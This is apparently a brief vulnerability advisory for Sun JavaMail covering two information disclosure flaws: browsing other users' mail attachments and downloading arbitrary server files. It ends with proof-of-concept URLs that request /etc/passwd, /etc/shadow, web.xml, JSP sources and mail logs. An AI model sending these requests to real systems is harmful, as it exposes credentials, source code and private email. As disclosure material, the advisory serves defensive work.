source: https://www.securityfocus.com/bid/13753/info

Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:

A remote attacker may reveal the contents of email attachments of other users.

A remote attacker may download and peruse arbitrary files with the privileges of the affected service.

A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks. 

First issue:
http://example.com/mailboxesdir/user2@example.com/
http://example.com/mailboxesdir/user3@example.com/

Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillog